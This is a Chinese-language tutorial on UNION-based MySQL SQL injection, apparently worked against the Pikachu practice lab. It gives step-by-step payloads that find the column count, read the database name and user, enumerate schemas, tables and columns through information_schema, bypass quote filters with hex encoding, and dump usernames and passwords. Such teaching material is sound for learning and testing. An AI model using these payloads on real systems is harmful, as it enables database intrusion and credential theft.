1、常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
2、连接字符串函数
前提:
concat(str1 ,str2)
concat_ws(separator, str1,str2.....)
group_concat(str1 ,str2......)
UNION query SQL injection
利用前提:
页面上有显示位,用于显示我们想要的结果
优点:方便、快捷、易于利用
缺点:需要显示位
MySQL中information_scheme库
UNION query SQL injection
1、判断列数
sqli_str.php?name=lucy' order by 1 --+&submit=查询 正常显示
sqli_str.php?name=lucy' order by 2 --+&submit=查询 正常显示
sqli_str.php?name=lucy' order by 3 --+&submit=查询 报错,不知道第三列是啥
此时说明有两列
2、判断显示位
sqli_str.php?name=a' union select 1,2 --+&submit=查询 正常显示
根据页面显示1,2都是显示位
3、获取当数据库名称和当前连接数据库的用户
sqli_str.php?name=a' union select database(),user() --+&submit=查询
根据页面显示数据库为pikachu , 用户为root都是显示位
4、列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
5、列出(数据库:pikachu)中所有的表
limit 一个一个打印出来表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='pikachu' limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x70696B61636875
注意:如果注入过程中对引号过滤,数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
7、列出(数据库:pikachu 表:users )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA='pikachu' and TABLE_NAME='users' limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x70696b61636875 and TABLE_NAME=0x7573657273
8、列出(数据库:pikachu 表:users )中所有的数据
limit 一个一个打印出来
select username from pikachu.users limit 0,1
select password from pikachu.users limit 0,1
group_concat把一次性全部打印
select group_concat(concat(username,0x20,password)) from pikachu.users
|